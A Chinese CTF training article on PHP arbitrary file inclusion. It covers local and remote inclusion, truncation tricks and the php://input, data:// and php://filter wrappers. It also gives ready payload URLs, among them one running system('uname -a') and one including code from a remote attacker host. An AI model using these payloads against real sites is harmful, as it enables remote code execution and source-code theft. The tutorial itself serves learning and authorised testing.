专栏首页玄魂工作室CTF实战12 任意文件包含漏洞

CTF实战12 任意文件包含漏洞

重要声明

该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

我们今天来了解一下任意文件包含漏洞

任意文件包含漏洞

<任意文件包含漏洞>也叫<文件包含漏洞>

这个漏洞只存在于PHP网站中

是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行

由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行

文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因

漏洞的分类

文件包含漏洞可以大概分为这么两类

1. 本地文件包含

利用的条件是,相关函数内的参数可控

2. 远程文件包含

利用的条件是相关函数内的参数可控,且allow_url_fopen = On

我们先就一个一个的来说一下利用方法

本地文件包含利用方法

本地文件包含漏洞的常规利用方法有以下几个步骤:

  1. 发现本地文件包含;
  2. 寻找上传功能;
  3. 利用包含漏洞包含解析

小技巧

有上传的时候,可以用包含截断技巧上传

原理

include($_GET['file'] . '.php')

利用方法

  1. %00截断 test.jpg%00GPC为OFF
  2. 超长文件名截断(*nix->4096 win->256) ././././././test.jpg
  3. 问号 test.jpg?

当然,我们很多时候遇到的是无上传的网站,那么无上传的时,我们也可以利用

但是要注意权限

利用方法

  1. 包含日志 (access_log error_log)
  2. 临时文件 (lfi with phpinfo)
  3. 包含其他环境变量 (/proc/self/environ)
  4. php://input
  5. data://
  6. php://filter

其中,php://input使用post方式传输我们要执行的php代码

data://利用条件需要

allow_url_include = On;

php>=5.2.0

其利用方法

file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=

file=data:;base64,PD9waHBpbmZvKCk7Lyo=

file=data:text/plain,<?php system("uname -a");?>

最后的php://filter可以用来读取源代码

且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析

我们可以构建如下的语句

http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php

之后就会返回some.php源码的base64加密

远程文件包含利用方法

远程文件包含的利用比较折腾

利用方法

  1. 拥有一台远程服务器
  2. 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg
  3. 文件内容中包含攻击代码
  4. 利用远程包含文件漏洞包含

可构造如下攻击URL

http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg

然后在test.jpg放上我们希望服务器执行的代码就可以了

本文分享自微信公众号 - 玄魂工作室(xuanhun521)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-06-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Kali Linux Web渗透测试手册(第二版) - 6.1

    thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt,

    用户1631416
  • Active Directory渗透测试典型案例(2) 特权提升和信息收集

    本文转载自:https://www.cnblogs.com/backlion/p/10843067.html

    用户1631416
  • Kali Linux Web渗透测试手册(第二版) - 5.3 - 利用DOM XSS

    thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt,

    用户1631416
  • R语言系列第四期:③R语言表格数据率的比较

    连续型数据的组间比较往往可以采用t检验/wilcoxon检验或者ANOVA方差分析/KW检验来完成。但是对于分类资料来说,这些方法就是行不通的了。详情点击:R语...

    微点
  • R语言系列第四期:③R语言表格数据率的比较

    连续型数据的组间比较往往可以采用t检验/wilcoxon检验或者ANOVA方差分析/KW检验来完成。但是对于分类资料来说,这些方法就是行不通的了。详情点击:R语...

    百味科研芝士
  • [Keras深度学习浅尝]实战二·CNN实现Fashion MNIST 数据集分类

    与我们上篇博文[Keras深度学习浅尝]实战一结构相同,修改的地方有,定义网络与模型训练两部分,可以对比着来看。通过使用CNN结构,预测准确率略有提升,可以通过...

    小宋是呢
  • Ubuntu安装软件包时报错: Failed to fetch ...deb

    删除 /var/lib/apt/lists/partial 目录下的所有文件,然后运行apt-get update。

    kongxx
  • Python读写CSV格式文件

    CSV(Comma Separated Values)格式的文件常用于电子表格和数据库中内容的导入和导出。Python标准库csv提供的reader、write...

    Python小屋屋主
  • 关于STM32库中 __IO 修饰符(volatile修饰符)

    夏时
  • CentOS安装Python3.7

    先下载一下压缩包(FTP传也一样):weget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar...

    逸鹏

扫码关注云+社区

领取腾讯云代金券